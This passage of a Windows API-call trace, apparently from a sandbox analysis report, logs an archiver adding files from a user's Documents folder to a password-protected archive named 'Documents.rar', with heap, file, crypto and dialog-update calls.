dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.907] GetTickCount () returned 0xa6781f [0068.907] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14424775684) returned 1 [0068.907] GetTickCount () returned 0xa6781f [0068.907] GetTickCount () returned 0xa6781f [0068.907] GetTickCount () returned 0xa6781f [0068.907] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.907] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.907] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.907] ResetEvent (hEvent=0x1a4) returned 1 [0068.908] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.909] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.909] ResetEvent (hEvent=0x1a4) returned 1 [0068.909] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.911] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.911] ResetEvent (hEvent=0x1a4) returned 1 [0068.911] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.913] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.913] GetTickCount () returned 0xa6781f [0068.913] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14425365808) returned 1 [0068.913] GetTickCount () returned 0xa6781f [0068.913] GetTickCount () returned 0xa6781f [0068.913] GetTickCount () returned 0xa6781f [0068.913] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.913] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.913] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.913] ResetEvent (hEvent=0x190) returned 1 [0068.913] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.914] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.914] ResetEvent (hEvent=0x190) returned 1 [0068.914] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.915] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.915] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.915] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.915] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3c988c [0068.915] SetFilePointer (in: hFile=0x198, lDistanceToMove=123, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3c9907 [0068.915] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.915] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.915] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.915] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.916] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x11560, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x11560, lpOverlapped=0x0) returned 1 [0068.916] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.916] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.916] SetFilePointer (in: hFile=0x198, lDistanceToMove=3971212, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3c988c [0068.916] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3c988c [0068.916] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.916] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.916] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65950, Size=0x48) returned 0x39daf0 [0068.916] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.917] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.917] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65950, Size=0x48) returned 0x39db40 [0068.917] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.917] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.917] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.917] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.917] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65980 | out: hHeap=0x2e0000) returned 1 [0068.917] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65950 | out: hHeap=0x2e0000) returned 1 [0068.917] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65920, Size=0x48) returned 0x39daf0 [0068.917] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7e) returned 0x3a3910 [0068.917] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x7b, lpOverlapped=0x0) returned 1 [0068.917] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.917] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x7b) returned 0x3a3d90 [0068.917] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.917] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.917] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3dae67 [0068.917] CloseHandle (hObject=0x1b0) returned 1 [0068.917] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.917] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.917] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.917] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.917] FindFirstFileW (in: lpFileName="XRS5ksD\\NnHAm7cjtqLnMEvQK_S.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.917] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.917] CreateFileW (lpFileName="XRS5ksD\\NnHAm7cjtqLnMEvQK_S.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\nnham7cjtqlnmevqk_s.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.917] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.917] GetTickCount () returned 0xa6781f [0068.917] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.917] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.917] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.917] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.917] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="VpyteSPe2.ppt") returned 13 [0068.917] SetWindowTextW (hWnd=0x10280, lpString="NnHAm7cjtqLnMEvQK_S.xlsx") returned 1 [0068.918] GetTickCount () returned 0xa6781f [0068.918] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.918] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.918] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.918] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.918] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1f5)) [0068.918] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.918] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14425851971) returned 1 [0068.918] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xe4d8, lpOverlapped=0x0) returned 1 [0068.919] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ae518, nNumberOfBytesToRead=0xf1b28, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ae518*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.919] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.919] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.919] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.919] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.919] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65980, Size=0x48) returned 0x39db40 [0068.919] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.919] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.919] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65980, Size=0x48) returned 0x39daf0 [0068.919] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.919] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.919] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.919] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.919] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659b0 | out: hHeap=0x2e0000) returned 1 [0068.919] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65980 | out: hHeap=0x2e0000) returned 1 [0068.919] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65950, Size=0x48) returned 0x39db40 [0068.919] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.919] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.919] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.921] GetTickCount () returned 0xa6782e [0068.921] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14426160725) returned 1 [0068.921] GetTickCount () returned 0xa6782e [0068.921] GetTickCount () returned 0xa6782e [0068.921] GetTickCount () returned 0xa6782e [0068.921] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2e8 | out: ppv=0x1cd2e8*=0x3b65950) returned 0x0 [0068.921] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b65950, hwnd=0x10278, tbpFlags=2) returned 0x0 [0068.922] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b65950, hwnd=0x10278, ullCompleted=0x427db9, ullTotal=0x4b42ce) returned 0x0 [0068.922] TaskbarList:IUnknown:Release (This=0x3b65950) returned 0x0 [0068.922] GetLastError () returned 0x36b7 [0068.922] SetLastError (dwErrCode=0x36b7) [0068.922] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0068.922] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0068.922] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 70%") returned 5 [0068.922] SetWindowTextW (hWnd=0x10298, lpString=" 88%") returned 1 [0068.922] GetLastError () returned 0x0 [0068.922] SetLastError (dwErrCode=0x0) [0068.922] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0068.922] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 91%") returned 5 [0068.922] SetWindowTextW (hWnd=0x10294, lpString=" 92%") returned 1 [0068.923] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x58, lParam=0x0) returned 0x46 [0068.923] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.923] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.923] GetFocus () returned 0x0 [0068.923] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.923] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.923] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.923] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.924] ResetEvent (hEvent=0x1a4) returned 1 [0068.924] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.926] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.926] ResetEvent (hEvent=0x1a4) returned 1 [0068.926] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.927] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.927] GetTickCount () returned 0xa6782e [0068.927] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14426780928) returned 1 [0068.927] GetTickCount () returned 0xa6782e [0068.927] GetTickCount () returned 0xa6782e [0068.927] GetTickCount () returned 0xa6782e [0068.928] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.928] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.928] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.928] ResetEvent (hEvent=0x190) returned 1 [0068.928] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.928] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.928] ResetEvent (hEvent=0x190) returned 1 [0068.928] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.929] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.929] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.929] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.929] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3dae67 [0068.929] SetFilePointer (in: hFile=0x198, lDistanceToMove=116, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3daedb [0068.929] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.929] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.929] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.929] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.929] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xe560, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xe560, lpOverlapped=0x0) returned 1 [0068.930] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.930] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.930] SetFilePointer (in: hFile=0x198, lDistanceToMove=4042343, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3dae67 [0068.930] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3dae67 [0068.930] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.930] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.930] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65980, Size=0x48) returned 0x39daf0 [0068.930] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.930] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.930] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65980, Size=0x48) returned 0x39db40 [0068.930] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.930] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.930] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.930] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.930] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659b0 | out: hHeap=0x2e0000) returned 1 [0068.930] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65980 | out: hHeap=0x2e0000) returned 1 [0068.930] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65950, Size=0x48) returned 0x39daf0 [0068.930] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.931] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x74, lpOverlapped=0x0) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.931] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x74) returned 0x3b4c610 [0068.931] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.931] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.931] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3e943b [0068.931] CloseHandle (hObject=0x1b0) returned 1 [0068.931] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.931] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.931] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.931] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.931] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\2J0TC8BES4f8Vy_7 a7O.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.931] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.931] CreateFileW (lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\2J0TC8BES4f8Vy_7 a7O.csv" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\ticknwyqxorsfs05kwkk\\2j0tc8bes4f8vy_7 a7o.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.931] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.931] GetTickCount () returned 0xa6782e [0068.931] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.931] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.931] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.931] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.931] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="NnHAm7cjtqLnMEvQK_S.xlsx") returned 24 [0068.931] SetWindowTextW (hWnd=0x10280, lpString="2J0TC8BES4f8Vy_7 a7O.csv") returned 1 [0068.931] GetTickCount () returned 0xa6782e [0068.931] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.932] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.932] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.932] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.932] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x205)) [0068.932] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.932] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14427235399) returned 1 [0068.932] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x6ed2, lpOverlapped=0x0) returned 1 [0068.933] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a6f12, nNumberOfBytesToRead=0xf912e, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a6f12*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 